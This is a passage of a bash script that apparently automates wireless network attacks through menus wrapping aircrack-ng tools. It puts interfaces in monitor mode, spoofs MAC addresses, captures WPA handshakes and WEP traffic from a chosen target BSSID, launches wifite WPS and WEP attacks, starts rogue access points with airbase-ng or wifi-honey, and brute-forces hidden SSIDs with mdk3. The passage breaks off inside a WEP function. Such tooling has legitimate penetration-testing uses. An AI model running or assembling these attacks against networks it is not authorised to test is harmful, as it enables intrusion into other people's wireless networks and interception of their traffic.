  1703. echo "4) Change Active Terminal (Switch between Gnome, Konsole, X-Term, and User Selected)"
  1704. echo ""
  1705. echo "5) Start NetworkManager 6) Stop NetworkManager"
  1706. echo "7) Enable wpa_supplicant 8) Disable wpa_supplicant"
  1707. echo "9) Start wpa_cli 10) Stop wpa_cli"
  1708. echo ""
  1709. echo "11) Open Interface Options Menu"
  1710. echo ""
  1711. echo "12) Hidden SSID Options"
  1712. echo ""
  1713. echo "R) Return To Previous Menu"
  1714. echo ""
  1715. echo ""
  1716. echo "Select an option from above and press ENTER:"
  1717. echo ""
  1718. read getExtras
  1719. hotkeyInput="$getExtras"
  1720. loadMenuHotkeys "$hotkeyInput"
  1721. case "$getExtras" in
  1722. "")
  1723. menuExtras
  1724. ;;
  1725. "1")
  1726. backupSessionFiles
  1727. ;;
  1728. "2")
  1729. cleanCaptureFiles
  1730. ;;
  1731. "3")
  1732. cleanSessionFiles
  1733. ;;
  1734. "4")
  1735. menuChangeTerminal
  1736. ;;
  1737. "5")
  1738. startNetworkManager
  1739. ;;
  1740. "6")
  1741. killNetworkManager
  1742. ;;
  1743. "7")
  1744. wpaSupplicantEnable
  1745. ;;
  1746. "8")
  1747. wpaSupplicantDisable
  1748. ;;
  1749. "9")
  1750. wpa_cli start
  1751. ;;
  1752. "10")
  1753. wpa_cli terminate
  1754. ;;
  1755. "11")
  1756. menuExtrasInterface
  1757. ;;
  1758. "12")
  1759. banner
  1760. bannerStats
  1761. echo "1) Bruteforce Hidden SSID"
  1762. echo ""
  1763. echo ""
  1764. echo ""
  1765. echo ""
  1766. echo ""
  1767. echo ""
  1768. echo ""
  1769. echo ""
  1770. echo ""
  1771. echo ""
  1772. echo ""
  1773. echo ""
  1774. echo ""
  1775. $cyan
  1776. echo "* Just Press ENTER To Return To Previous Menu *"
  1777. echo ""
  1778. echo ""
  1779. $white
  1780. echo "Select an option from above and press ENTER:"
  1781. echo ""
  1782. read ssidHiddenOption
  1783. case "$ssidHiddenOption" in
  1784. "1")
  1785. bruteForceHiddenSSID
  1786. ;;
  1787. esac
  1788. ;;
  1789. "r" | "R")
  1790. $lastMenuID
  1791. ;;
  1792. *)
  1793. menuExtras
  1794. ;;
  1795. esac
  1796. menuExtras
  1797. }
  1798. menuExtrasInterface(){
  1799. currentTask="menuExtrasInterface"
  1800. #lastMenuID="menuExtrasInterface"
  1801. banner
  1802. bannerStats
  1803. echo ""
  1804. echo "1) Enable Channel Hopping: $interface"
  1805. echo "2) Disable Channel Hopping: $interface"
  1806. echo ""
  1807. echo "3) Bring Up Interface: $interfaceMonitor"
  1808. echo "4) Bring Down Interface: $interfaceMonitor"
  1809. echo ""
  1810. echo "5) Switch Interface To Managed"
  1811. echo "6) Switch Interface To Monitor"
  1812. echo ""
  1813. echo "7) Fix Airmon Conflicting Processes"
  1814. echo ""
  1815. echo "8) Get \"ifconfig\" Output"
  1816. echo "9) Get \"iwconfig\" Output"
  1817. echo ""
  1818. echo "R) Return To Previous Menu"
  1819. echo ""
  1820. echo ""
  1821. echo "Select an option from above and press ENTER:"
  1822. echo ""
  1823. #echo ""
  1824. read getExtrasInterface
  1825. hotkeyInput="$getExtrasInterface"
  1826. loadMenuHotkeys "$hotkeyInput"
  1827. case "$getExtrasInterface" in
  1828. "")
  1829. menuInterface
  1830. ;;
  1831. "1")
  1832. enableChannelHopping
  1833. ;;
  1834. "2")
  1835. disableChannelHopping
  1836. ;;
  1837. "3")
  1838. interfaceUp
  1839. ;;
  1840. "4")
  1841. interfaceDown
  1842. ;;
  1843. "5")
  1844. interfaceManaged
  1845. ;;
  1846. "6")
  1847. interfaceMonitor
  1848. ;;
  1849. "7")
  1850. fixAirmonCompat
  1851. ;;
  1852. "8")
  1853. showIfConfig=$(ifconfig)
  1854. banner
  1855. bannerStats
  1856. echo ""
  1857. echo "$showIfConfig"
  1858. echo ""
  1859. echo ""
  1860. echo ""
  1861. echo "Press ENTER to continue..."
  1862. echo ""
  1863. echo ""
  1864. read pause
  1865. ;;
  1866. "9")
  1867. showIwConfig=$(iwconfig)
  1868. banner
  1869. bannerStats
  1870. echo ""
  1871. echo "$showIwConfig"
  1872. echo ""
  1873. echo ""
  1874. echo ""
  1875. echo "Press ENTER to continue..."
  1876. echo ""
  1877. echo ""
  1878. read pause
  1879. ;;
  1880. "r" | "R")
  1881. #$lastMenuID
  1882. menuExtras
  1883. ;;
  1884. *)
  1885. menuExtrasInterface
  1886. ;;
  1887. esac
  1888. menuExtrasInterface
  1889. }
  1890. menuHelp(){
  1891. currentTask="menuHelp"
  1892. #lastMenuID="menuHelp"
  1893. banner
  1894. bannerStats
  1895. echo ""
  1896. echo "*******************************************"
  1897. echo "CURENTLY NOT WORKING!!!"
  1898. echo ""
  1899. echo "PRESS ENTER TO RETURN TO PREVIOUS MENU!"
  1900. echo "*******************************************"
  1901. echo ""
  1902. echo ""
  1903. echo ""
  1904. echo "Welcome to the Help Section!"
  1905. echo ""
  1906. echo ""
  1907. echo ""
  1908. echo "CURRENTLY NOT AVAILABLE!"
  1909. echo ""
  1910. echo ""
  1911. echo ""
  1912. echo ""
  1913. echo ""
  1914. read getHelp
  1915. hotkeyInput="$getHelp"
  1916. loadMenuHotkeys "$hotkeyInput"
  1917. case "$getHelp" in
  1918. "")
  1919. $lastMenuID
  1920. #menuMain
  1921. #menuHelp
  1922. ;;
  1923. *)
  1924. $lastMenuID
  1925. #menuMain
  1926. #menuHelp
  1927. ;;
  1928. esac
  1929. $lastMenuID
  1930. }
  1931. menuChangeTerminal(){
  1932. currentTask="menuChangeTerminal"
  1933. #lastMenuID="menuChangeTerminal"
  1934. banner
  1935. echo ""
  1936. echo "Select a new terminal to use"
  1937. echo ""
  1938. echo ""
  1939. echo "Current Terminal: $terminal"
  1940. echo ""
  1941. echo ""
  1942. echo "1a) Gnome Legacy: $terminalGnomeLegacy"
  1943. echo ""
  1944. echo "1b) Gnome: $terminalGnome"
  1945. echo ""
  1946. echo "2) Konsole: $terminalKonsole"
  1947. echo ""
  1948. echo "3) X-Term: $terminalXterm"
  1949. echo ""
  1950. echo "4) Custom (User Selected)"
  1951. echo ""
  1952. echo "5) Return To Previous Menu"
  1953. echo ""
  1954. echo ""
  1955. read getTerminalType
  1956. hotkeyInput="$getTerminalType"
  1957. loadMenuHotkeys "$hotkeyInput"
  1958. case "$getTerminalType" in
  1959. "")
  1960. menuChangeTerminal
  1961. ;;
  1962. "1a")
  1963. terminal="$terminalGnomeLegacy"
  1964. terminalText="GnomeLegacy"
  1965. ;;
  1966. "1b")
  1967. terminal="$terminalGnome"
  1968. terminalText="Gnome"
  1969. ;;
  1970. "2")
  1971. terminal="$terminalKonsole"
  1972. terminalText="Konsole"
  1973. ;;
  1974. "3")
  1975. terminal="$terminalXterm"
  1976. terminalText="Xterm"
  1977. ;;
  1978. "4")
  1979. banner
  1980. echo ""
  1981. echo "Input a terminal string with arguments and press ENTER:"
  1982. echo ""
  1983. echo ""
  1984. echo "Example: $terminalGnome"
  1985. echo ""
  1986. echo ""
  1987. read newTerminal
  1988. case "$newTerminal" in
  1989. *)
  1990. terminal="$newTerminal"
  1991. terminalText="Custom"
  1992. ;;
  1993. esac
  1994. ;;
  1995. "5")
  1996. menuExtras
  1997. ;;
  1998. *)
  1999. menuChangeTerminal
  2000. ;;
  2001. esac
  2002. menuMain
  2003. }
  2004. menuHoneyPotMode(){
  2005. currentTask="menuHoneyPotMode"
  2006. initMonitorMode
  2007. banner
  2008. bannerStats
  2009. echo ""
  2010. echo "I Am HoneyPot Mode"
  2011. echo ""
  2012. echo "I Am Also Broken :("
  2013. echo ""
  2014. echo ""
  2015. echo ""
  2016. echo "1) Use Airbase-ng"
  2017. echo ""
  2018. echo "2) Use Wifi-Honey"
  2019. echo ""
  2020. echo "3) Use a Custom Binary"
  2021. echo ""
  2022. echo ""
  2023. echo ""
  2024. echo "Select an option and press ENTER:"
  2025. echo ""
  2026. echo ""
  2027. read getHoneyPotOptionMain
  2028. hotkeyInput="$getHoneyPotOptionMain"
  2029. loadMenuHotkeys "$hotkeyInput"
  2030. case "$getHoneyPotOptionMain" in
  2031. "")
  2032. menuHoneyPotMode
  2033. #$lastMenuID
  2034. #menuMain
  2035. #menuAdvanced
  2036. ;;
  2037. "1")
  2038. getBSSID
  2039. $terminal airbase-ng -a $bssid -i $interfaceMonitor -h $macAddressMonitor -v &
  2040. ;;
  2041. "2")
  2042. getESSID
  2043. getChannel
  2044. $terminal wifi-honey $essid $channel $interfaceMonitor &
  2045. ;;
  2046. "3")
  2047. echo "Custom Binary"
  2048. read pause
  2049. menuHoneyPotMode
  2050. ;;
  2051. *)
  2052. menuHoneyPotMode
  2053. #$lastMenuID
  2054. #menuMain
  2055. #menuAdvanced
  2056. ;;
  2057. esac
  2058. #restartProcesses
  2059. menuHoneyPotMode
  2060. #$lastMenuID
  2061. }
  2062. selectFromApList(){
  2063. # Get AP Credential Type From 1st Argument
  2064. apListType="$1"
  2065. currentTask="selectFromApList"
  2066. echo "Dumping Found AP Targets From airodump-ng Window...."
  2067. echo ""
  2068. echo ""
  2069. case "$apListType" in
  2070. "essid")
  2071. sleep 15
  2072. cat "$defaultScanOutputXML" | grep "<essid cloaked="
  2073. ;;
  2074. "bssid")
  2075. sleep 15
  2076. cat "$defaultScanOutputXML" | grep "<BSSID>"
  2077. ;;
  2078. "channel")
  2079. sleep 15
  2080. cat "$defaultScanOutputXML" | grep "<channel>"
  2081. ;;
  2082. esac
  2083. echo ""
  2084. echo ""
  2085. $yellow
  2086. echo "Select $apListType from found AP targets above and copy to clipboard (CTRL+SHIFT+C)"
  2087. echo ""
  2088. echo ""
  2089. $white
  2090. echo "You may also follow the instructions below to select a target"
  2091. echo ""
  2092. echo ""
  2093. #read getApTarget
  2094. }
  2095. ############################################################################
  2096. # MENUS: MAIN END ######################################################
  2097. ############################################################################
  2098. ############################################################################
  2099. # MENUS: SESSIONS BEGIN ################################################
  2100. ############################################################################
  2101. menuSessionSave(){
  2102. # Not needed for this menu
  2103. #currentTask="menuSessionSave"
  2104. #lastMenuID="menuSessionSave"
  2105. banner
  2106. bannerStats
  2107. echo "Session Save Menu"
  2108. echo ""
  2109. echo ""
  2110. echo ""
  2111. echo ""
  2112. echo ""
  2113. echo "Save As: $capturePath/$encryptionType/$encryptionType.sessions"
  2114. echo ""
  2115. echo ""
  2116. echo ""
  2117. echo "Press \"1\" and ENTER to save session file now"
  2118. echo ""
  2119. echo ""
  2120. echo "You may also just press ENTER to return to the previous menu...."
  2121. echo ""
  2122. echo ""
  2123. getSession="1"
  2124. #read getSession
  2125. hotkeyInput="$getSession"
  2126. loadMenuHotkeys "$hotkeyInput"
  2127. case "$getSession" in
  2128. "")
  2129. $currentTask
  2130. ;;
  2131. "1")
  2132. sessionSave
  2133. ;;
  2134. *)
  2135. $currentTask
  2136. ;;
  2137. esac
  2138. $currentTask
  2139. }
  2140. menuSessionLoad(){
  2141. # Not needed for this menu
  2142. #currentTask="menuSessionLoad"
  2143. #lastMenuID="menuSessionLoad"
  2144. banner
  2145. bannerStats
  2146. echo "Session Load Menu"
  2147. echo ""
  2148. echo ""
  2149. echo ""
  2150. echo ""
  2151. echo ""
  2152. echo "Current File Loaded: $capturePath/$encryptionType/$encryptionType.sessions"
  2153. echo ""
  2154. echo ""
  2155. echo ""
  2156. echo "Press \"1\" and ENTER to load session file now"
  2157. echo ""
  2158. echo ""
  2159. echo "You may also just press ENTER to return to the previous menu...."
  2160. echo ""
  2161. echo ""
  2162. getSession="1"
  2163. #read getSession
  2164. hotkeyInput="$getSession"
  2165. loadMenuHotkeys "$hotkeyInput"
  2166. case "$getSession" in
  2167. "")
  2168. $currentTask
  2169. ;;
  2170. "1")
  2171. sessionLoad
  2172. ;;
  2173. *)
  2174. $currentTask
  2175. ;;
  2176. esac
  2177. $currentTask
  2178. }
  2179. ############################################################################
  2180. # MENUS: SESSIONS END ##################################################
  2181. ############################################################################
  2182. ############################################################################
  2183. # GET CREDENTIALS BEGIN ################################################
  2184. ############################################################################
  2185. textGetTargetInfo(){
  2186. currentTask="textGetTargetInfo"
  2187. echo ""
  2188. echo "THERE SHOULD NOW BE A NEW TERMINAL WINDOW OPEN, ONLY SHOWING $encryptionTypeText TARGETS"
  2189. echo ""
  2190. echo "YOU CAN USE THIS AIRODUMP-NG WINDOW TO GATHER ALL NEEDED INFORMATION"
  2191. echo ""
  2192. echo "YOU CAN COPY AND PASTE (CTRL+SHIFT+C) (CTRL+SHIFT+V) TO ENTER TARGET INFO BELOW"
  2193. echo ""
  2194. #echo "YOU MAY NEED TO EXTEND THE WINDOW WIDER TO SEE THE ESSID NAMES"
  2195. echo "YOU MAY PRESS \"T\" AT ANYTIME TO OPEN A TEXT VIEW OF AVAILABLE TARGETS"
  2196. echo ""
  2197. echo ""
  2198. case "$encryptionTypeText" in
  2199. "WPS")
  2200. $green
  2201. echo "WPS TARGETS MAY HAVE \"1.0, 1.0 LAB, DISP, KPAD\" OR ANOTHER VARIANT UNDER \"WPS\" COLUMN"
  2202. echo ""
  2203. echo "ALL TARGETS THAT SUPPORT WPS MAY ALSO HAVE \"OPN\", \"WEP\", \"WPA\", or \"WPA2\" UNDER \"ENC\" COLUMN"
  2204. $white
  2205. echo ""
  2206. echo ""
  2207. ;;
  2208. "WEP")
  2209. $green
  2210. echo "WEP TARGETS MAY HAVE \"WEP\" UNDER THE \"ENC\" and \"CIPHER\" COLUMNS"
  2211. #echo "CURRENTLY SET TO ONLY SCAN FOR \"WEP\" TARGETS"
  2212. $white
  2213. echo ""
  2214. echo ""
  2215. ;;
  2216. "WPA")
  2217. $green
  2218. echo "WPA TARGETS MAY HAVE \"WPA\" UNDER THE \"ENC\" and \"CCMP\" UNDER \"CIPHER\" COLUMNS"
  2219. $white
  2220. echo ""
  2221. echo ""
  2222. ;;
  2223. "WPA2")
  2224. $green
  2225. echo "WPA2 TARGETS MAY HAVE \"WPA2\" UNDER THE \"ENC\" and \"CCMP\" UNDER \"CIPHER\" COLUMNS"
  2226. $white
  2227. echo ""
  2228. echo ""
  2229. ;;
  2230. esac
  2231. }
  2232. getESSID(){
  2233. currentTask="getESSID"
  2234. banner
  2235. bannerStats
  2236. #selectFromApList essid
  2237. textGetTargetInfo
  2238. echo "PASTE or type the Target ESSID Here and press ENTER:"
  2239. echo ""
  2240. echo "Example: NETGEAR"
  2241. echo ""
  2242. echo ""
  2243. $cyan
  2244. read getESSIDTemp
  2245. hotkeyInput="$getESSIDTemp"
  2246. loadMenuHotkeys "$hotkeyInput"
  2247. case "$getESSIDTemp" in
  2248. "")
  2249. getESSID
  2250. ;;
  2251. "t" | "T")
  2252. cleanTempScanResultsFile "txt"
  2253. openScanTargetsAsText
  2254. getESSID
  2255. ;;
  2256. *)
  2257. essid="$getESSIDTemp"
  2258. ;;
  2259. esac
  2260. $white
  2261. }
  2262. getBSSID(){
  2263. currentTask="getBSSID"
  2264. banner
  2265. bannerStats
  2266. #selectFromApList bssid
  2267. textGetTargetInfo
  2268. echo "PASTE or type the Target BSSID Here and press ENTER:"
  2269. echo ""
  2270. echo "Example: 00:11:22:33:44:55"
  2271. echo ""
  2272. echo ""
  2273. $cyan
  2274. read getBSSIDTemp
  2275. hotkeyInput="$getBSSIDTemp"
  2276. loadMenuHotkeys "$hotkeyInput"
  2277. case "$getBSSIDTemp" in
  2278. "")
  2279. getBSSID
  2280. ;;
  2281. "t" | "T")
  2282. cleanTempScanResultsFile "txt"
  2283. openScanTargetsAsText
  2284. getBSSID
  2285. ;;
  2286. *)
  2287. bssid="$getBSSIDTemp"
  2288. ;;
  2289. esac
  2290. $white
  2291. }
  2292. getChannel(){
  2293. currentTask="getChannel"
  2294. banner
  2295. bannerStats
  2296. #selectFromApList channel
  2297. textGetTargetInfo
  2298. echo "PASTE or type the Target Channel Here and press ENTER:"
  2299. echo ""
  2300. echo "Example: 6"
  2301. echo ""
  2302. echo ""
  2303. $cyan
  2304. read getChannelTemp
  2305. hotkeyInput="$getChannelTemp"
  2306. loadMenuHotkeys "$hotkeyInput"
  2307. case "$getChannelTemp" in
  2308. "")
  2309. getChannel
  2310. ;;
  2311. "t" | "T")
  2312. cleanTempScanResultsFile "txt"
  2313. openScanTargetsAsText
  2314. getChannel
  2315. ;;
  2316. *)
  2317. channel="$getChannelTemp"
  2318. ;;
  2319. esac
  2320. $white
  2321. }
  2322. ############################################################################
  2323. # GET CREDENTIALS END ##################################################
  2324. ############################################################################
  2325. ############################################################################
  2326. # MAC ADDRESS STUFF BEGIN ##############################################
  2327. ############################################################################
  2328. getMacAddress(){
  2329. currentTask="getMacAddress"
  2330. macAddress=$(ip link show $interface | tail -n 1 | cut -f 6 -d " ")
  2331. }
  2332. getMacAddressMonitor(){
  2333. currentTask="getMacAddressMonitor"
  2334. macAddressMonitor=$(ip link show $interfaceMonitor | tail -n 1 | cut -f 6 -d " ")
  2335. case "$isDebugMode" in
  2336. "1")
  2337. echo "interface: $interfaceMonitor"
  2338. echo "mac: $macAddressMonitor"
  2339. read pause
  2340. ;;
  2341. esac
  2342. }
  2343. setMacAddress(){
  2344. currentTask="setMacAddress"
  2345. ifconfig $interface down
  2346. macchanger -m $getNewMacAdressTemp $interface
  2347. ifconfig $interface up
  2348. spoofStatus="1"
  2349. macAddress="$getNewMacAdressTemp"
  2350. }
  2351. setMacAddressMonitor(){
  2352. currentTask="setMacAddressMonitor"
  2353. ifconfig $interfaceMonitor down
  2354. macchanger -m $getNewMacAdressTemp $interfaceMonitor
  2355. ifconfig $interfaceMonitor up
  2356. spoofStatus="1"
  2357. macAddressMonitor="$getNewMacAdressTemp"
  2358. }
  2359. getRandomMacAddress(){
  2360. currentTask="getRandomMacAddress"
  2361. ifconfig $interface down
  2362. macchanger -r $interface
  2363. ifconfig $interface up
  2364. spoofStatus="1"
  2365. getMacAddress
  2366. #macAddress="$getNewMacAdressTemp"
  2367. }
  2368. getRandomMacAddressMonitor(){
  2369. currentTask="getRandomMacAddressMonitor"
  2370. ifconfig $interfaceMonitor down
  2371. macchanger -r $interfaceMonitor
  2372. ifconfig $interfaceMonitor up
  2373. spoofStatus="1"
  2374. getMacAddressMonitor
  2375. #macAddressMonitor="$getNewMacAdressTemp"
  2376. }
  2377. spoofMacAddress(){
  2378. currentTask="spoofMacAddress"
  2379. #lastMenuID="spoofMacAddress"
  2380. # Setting resetSpoofStatus Flag for global hotkey compatibility
  2381. resetSpoofStatus="1"
  2382. banner
  2383. bannerStats
  2384. echo ""
  2385. echo "To choose a random MAC Address, press the \"R\" key and press ENTER"
  2386. echo ""
  2387. echo ""
  2388. echo "Enter the New MAC Address and press ENTER:"
  2389. echo ""
  2390. echo "Example: 00:11:22:33:44:55"
  2391. echo ""
  2392. echo ""
  2393. read getNewMacAdressTemp
  2394. hotkeyInput="$getNewMacAdressTemp"
  2395. loadMenuHotkeys "$hotkeyInput"
  2396. case "$getNewMacAdressTemp" in
  2397. "")
  2398. spoofMacAddress
  2399. ;;
  2400. "R" | "r")
  2401. getRandomMacAddress
  2402. getRandomMacAddressMonitor
  2403. #$returnTo
  2404. ;;
  2405. *)
  2406. setMacAddress
  2407. setMacAddressMonitor
  2408. #$returnTo
  2409. ;;
  2410. esac
  2411. }
  2412. checkSpoofStatus(){
  2413. case "$spoofStatus" in
  2414. "0")
  2415. #blank=""
  2416. initMonitorMode
  2417. ;;
  2418. esac
  2419. }
  2420. ############################################################################
  2421. # MAC ADDRESS STUFF END ################################################
  2422. ############################################################################
  2423. ############################################################################
  2424. # MONITOR MODE STUFF BEGIN #############################################
  2425. ############################################################################
  2426. initMonitorMode(){
  2427. currentTask="initMonitorMode"
  2428. #killProcesses
  2429. stopMonitorMode
  2430. disableChannelHopping
  2431. enableChannelHopping
  2432. getWirelessInterfaces
  2433. banner
  2434. initMon=""
  2435. case "$initMon" in
  2436. "")
  2437. getMacAddress
  2438. setMonitorMode
  2439. getMacAddressMonitor
  2440. #getWirelessInterfaces "refresh"
  2441. ;;
  2442. *)
  2443. getMacAddress
  2444. setMonitorMode
  2445. getMacAddressMonitor
  2446. #getWirelessInterfaces
  2447. ;;
  2448. esac
  2449. }
  2450. setMonitorMode(){
  2451. currentTask="setMonitorMode"
  2452. #interfaceMonitor="mon0"
  2453. #echo "$interface"
  2454. #read pause
  2455. $startMonitorMode $interface
  2456. }
  2457. stopMonitorMode(){
  2458. currentTask="stopMonitorMode"
  2459. killMsg="Killing all active previous monitor mode interfaces...."
  2460. # Older style airmon-ng
  2461. killMonA="mon"
  2462. # Newer 1.2+ style airmon-ng
  2463. killMonB1="wlan"
  2464. killMonB2="mon"
  2465. killCounter="0"
  2466. # I just selected 12 as a number that I feel nobody would have more wifi adapters than
  2467. #killCounterMax="12"
  2468. # Using number of found adapters to determine max
  2469. killCounterMax="$interfacesFound"
  2470. # Initial mon0 or wlan0mon before loop
  2471. case "$killCounter" in
  2472. "0")
  2473. banner
  2474. $white
  2475. echo ""
  2476. echo $killMsg
  2477. $red
  2478. $stopMonitorMode $killMonA$killCounter
  2479. $stopMonitorMode $killMonB1$killCounter$killMonB2
  2480. ;;
  2481. esac
  2482. while [ $killCounter -le $killCounterMax ]
  2483. do
  2484. banner
  2485. $white
  2486. echo ""
  2487. echo $killMsg
  2488. $red
  2489. $stopMonitorMode $killMonA$killCounter
  2490. $stopMonitorMode $killMonB1$killCounter$killMonB2
  2491. killCounter=$(($killCounter+1))
  2492. done
  2493. banner
  2494. $white
  2495. }
  2496. ############################################################################
  2497. # MONITOR MODE STUFF END ###############################################
  2498. ############################################################################
  2499. ############################################################################
  2500. # ATTACKS: GLOBAL BEGIN ################################################
  2501. ############################################################################
  2502. autoModeUsePreviousSession(){
  2503. currentTask="autoModeUsePreviousSession"
  2504. sessionCopyNewCaptureFiles
  2505. case "$encryptionType" in
  2506. "wep")
  2507. autoModeUsePreviousSessionWEP
  2508. ;;
  2509. "wps")
  2510. autoModeUsePreviousSessionWPS
  2511. ;;
  2512. "wpa")
  2513. autoModeUsePreviousSessionWPA
  2514. ;;
  2515. "wpa2")
  2516. autoModeUsePreviousSessionWPA2
  2517. ;;
  2518. esac
  2519. }
  2520. autoModeNoPreviousSession(){
  2521. currentTask="autoModeNoPreviousSession"
  2522. case "$encryptionType" in
  2523. "wep")
  2524. autoModeNoPreviousSessionWEP
  2525. ;;
  2526. "wps")
  2527. autoModeNoPreviousSessionWPS
  2528. ;;
  2529. "wpa")
  2530. autoModeNoPreviousSessionWPA
  2531. ;;
  2532. "wpa2")
  2533. autoModeNoPreviousSessionWPA2
  2534. ;;
  2535. esac
  2536. }
  2537. adFileDump(){
  2538. noChannel="$1"
  2539. #echo "$noChannel"
  2540. #read pause
  2541. currentTask="adFileDump"
  2542. echo ""
  2543. echo ""
  2544. case "$encryptionType" in
  2545. "wep")
  2546. disableChannelHopping
  2547. case "$noChannel" in
  2548. "0")
  2549. $terminal airodump-ng $interfaceMonitor --bssid $bssid --channel $channel --write "dump_$essid"
  2550. #$terminal airodump-ng -w "dump_$essid" --bssid $bssid --channel $channel -i $interfaceMonitor &
  2551. #$terminal airodump-ng --ignore-negative-one -w "dump_$essid" --bssid $bssid --channel $channel -i $interfaceMonitor &
  2552. #read pause
  2553. #Working (uses session path)
  2554. #$terminal airodump-ng -w "$capturePath/$encryptionType/dump_$essid" --bssid $bssid --channel $channel -i $interfaceMonitor &
  2555. ;;
  2556. "1")
  2557. $terminal airodump-ng $interfaceMonitor --bssid $bssid --write "dump_$essid"
  2558. #$terminal airodump-ng -w "dump_$essid" --bssid $bssid -i $interfaceMonitor &
  2559. #$terminal airodump-ng --ignore-negative-one -w "dump_$essid" --bssid $bssid -i $interfaceMonitor &
  2560. #read pause
  2561. #Working (uses session path)
  2562. #$terminal airodump-ng -w "$capturePath/$encryptionType/dump_$essid" --bssid $bssid -i $interfaceMonitor &
  2563. ;;
  2564. esac
  2565. ;;
  2566. "wpa" | "wpa2")
  2567. doSleepMessage "Preparing to Capture WPA Handshake...." "3"
  2568. disableChannelHopping
  2569. case "$noChannel" in
  2570. "0")
  2571. $terminal airodump-ng $interfaceMonitor --bssid $bssid --channel $channel --write "dump_$essid"
  2572. #$terminal airodump-ng -w "$capturePath/$encryptionType/dump_$essid" --bssid $bssid --channel $channel -i $interfaceMonitor &
  2573. ;;
  2574. "1")
  2575. $terminal airodump-ng $interfaceMonitor --bssid $bssid --write "dump_$essid"
  2576. #$terminal airodump-ng -w "dump_$essid" --bssid $bssid -i $interfaceMonitor &
  2577. #Working (uses session path)
  2578. #$terminal airodump-ng -w "$capturePath/$encryptionType/dump_$essid" --bssid $bssid -i $interfaceMonitor &
  2579. ;;
  2580. esac
  2581. ;;
  2582. esac
  2583. echo ""
  2584. echo ""
  2585. }
  2586. aircrackDecrypt(){
  2587. currentTask="aircrackDecrypt"
  2588. sessionCopyNewCaptureFiles
  2589. case "$encryptionType" in
  2590. "wep")
  2591. aircrackDecryptWEP
  2592. ;;
  2593. "wpa")
  2594. aircrackDecryptWPA
  2595. ;;
  2596. "wpa2")
  2597. aircrackDecryptWPA2
  2598. ;;
  2599. esac
  2600. }
  2601. adAPScan(){
  2602. currentTask="adAPScan"
  2603. echo ""
  2604. banner
  2605. rm "$defaultScanOutputIVS"
  2606. rm "$defaultScanOutputXML"
  2607. #$terminal airodump-ng --channel $channel -i $interfaceMonitor &
  2608. #$terminal airodump-ng --ignore-negative-one --channel $channel -i $interfaceMonitor &
  2609. $terminal airodump-ng --channel $channel --encrypt $encryptionType -i $interfaceMonitor -w "$initPath/apScan" --write-interval 10 -o netxml &
  2610. #$terminal airodump-ng --channel $channel --encrypt $encryptionType -i $interfaceMonitor &
  2611. #read pause
  2612. echo ""
  2613. echo ""
  2614. }
  2615. # Unused Function (20170103)
  2616. adAPScanWPS(){
  2617. currentTask="adAPScanWPS"
  2618. echo ""
  2619. echo ""
  2620. $terminal airodump-ng --channel $channel -i $interfaceMonitor --wps &
  2621. #$terminal airodump-ng --channel $channel --encrypt $encryptionType -i $interfaceMonitor --$encryptionType&
  2622. echo ""
  2623. echo ""
  2624. }
  2625. adAPScanWifiteWPS(){
  2626. currentTask="adAPScanWifiteWPS"
  2627. echo ""
  2628. echo ""
  2629. $terminal $wifiteAttackWPS -c $channel -i $interfaceMonitor &
  2630. echo ""
  2631. echo ""
  2632. }
  2633. adAPScanWifiteWEP(){
  2634. currentTask="adAPScanWifiteWEP"
  2635. echo ""
  2636. echo ""
  2637. $terminal $wifiteAttackWEP -c $channel -i $interfaceMonitor &
  2638. echo ""
  2639. echo ""
  2640. }
  2641. adAPScanNoChannel(){
  2642. currentTask="adAPScanNoChannel"
  2643. echo ""
  2644. banner
  2645. rm "$defaultScanOutputIVS"
  2646. rm "$defaultScanOutputXML"
  2647. #$terminal airodump-ng -i $interfaceMonitor &
  2648. #$terminal airodump-ng --ignore-negative-one -i $interfaceMonitor &
  2649. $terminal airodump-ng --encrypt $encryptionType -i $interfaceMonitor -w "$initPath/apScan" --write-interval 10 -o netxml &
  2650. #$terminal airodump-ng --encrypt $encryptionType -i $interfaceMonitor &
  2651. #read pause
  2652. echo ""
  2653. echo ""
  2654. }
  2655. adAPScanNoChannelWPS(){
  2656. currentTask="adAPScanNoChannelWPS"
  2657. echo ""
  2658. banner
  2659. rm "$defaultScanOutputIVS"
  2660. rm "$defaultScanOutputXML"
  2661. $terminal airodump-ng -i $interfaceMonitor --wps -w "$initPath/apScan" --write-interval 10 -o netxml &
  2662. #$terminal airodump-ng -i $interfaceMonitor --wps &
  2663. #$terminal airodump-ng --encrypt $encryptionType -i $interfaceMonitor --$encryptionType&
  2664. echo ""
  2665. echo ""
  2666. }
  2667. adAPScanWifiteWPSNoChannel(){
  2668. currentTask="adAPScanWifiteWPSNoChannel"
  2669. echo ""
  2670. echo ""
  2671. $terminal $wifiteAttackWPS -i $interfaceMonitor &
  2672. echo ""
  2673. echo ""
  2674. }
  2675. adAPScanWifiteWEPNoChannel(){
  2676. currentTask="adAPScanWifiteWEPNoChannel"
  2677. echo ""
  2678. echo ""
  2679. $terminal $wifiteAttackWEP -i $interfaceMonitor &
  2680. echo ""
  2681. echo ""
  2682. }
  2683. bruteForceHiddenSSID(){
  2684. currentTask="bruteForceHiddenSSID"
  2685. adAPScanNoChannel
  2686. banner
  2687. echo ""
  2688. $green
  2689. echo "Using Interface: $interfaceMonitor"
  2690. echo ""
  2691. echo ""
  2692. echo ""
  2693. echo ""
  2694. $cyan
  2695. echo "Use the airodump window to find your target"
  2696. echo ""
  2697. echo "Example Hidden: 01:02:03:04:05:06 <length 21>"
  2698. echo ""
  2699. echo ""
  2700. echo ""
  2701. echo ""
  2702. $white
  2703. echo "Type Target BSSID and Press ENTER:"
  2704. echo ""
  2705. read targetBSSID
  2706. case "$targetBSSID" in
  2707. *)
  2708. banner
  2709. echo ""
  2710. $cyan
  2711. mdk3 $interfaceMonitor p -t $targetBSSID -b -s 300
  2712. echo ""
  2713. echo ""
  2714. ;;
  2715. esac
  2716. $green
  2717. echo ""
  2718. echo ""
  2719. echo ""
  2720. echo "***************************************"
  2721. echo "Bruteforcing Finished!"
  2722. echo "***************************************"
  2723. echo ""
  2724. echo ""
  2725. echo "Check Above For Possible Hidden SSID Reveals"
  2726. echo ""
  2727. echo ""
  2728. echo ""
  2729. echo ""
  2730. echo "Press ENTER To Continue When Finished...."
  2731. echo ""
  2732. read finishBrute
  2733. }
  2734. ############################################################################
  2735. # ATTACKS: GLOBAL END ##################################################
  2736. ############################################################################
  2737. ############################################################################
  2738. # ATTACKS: WEP BEGIN ###################################################
  2739. ############################################################################
  2740. autoModeNoPreviousSessionWEP(){
  2741. currentTask="autoModeNoPreviousSessionWEP"
  2742. adAPScanNoChannel
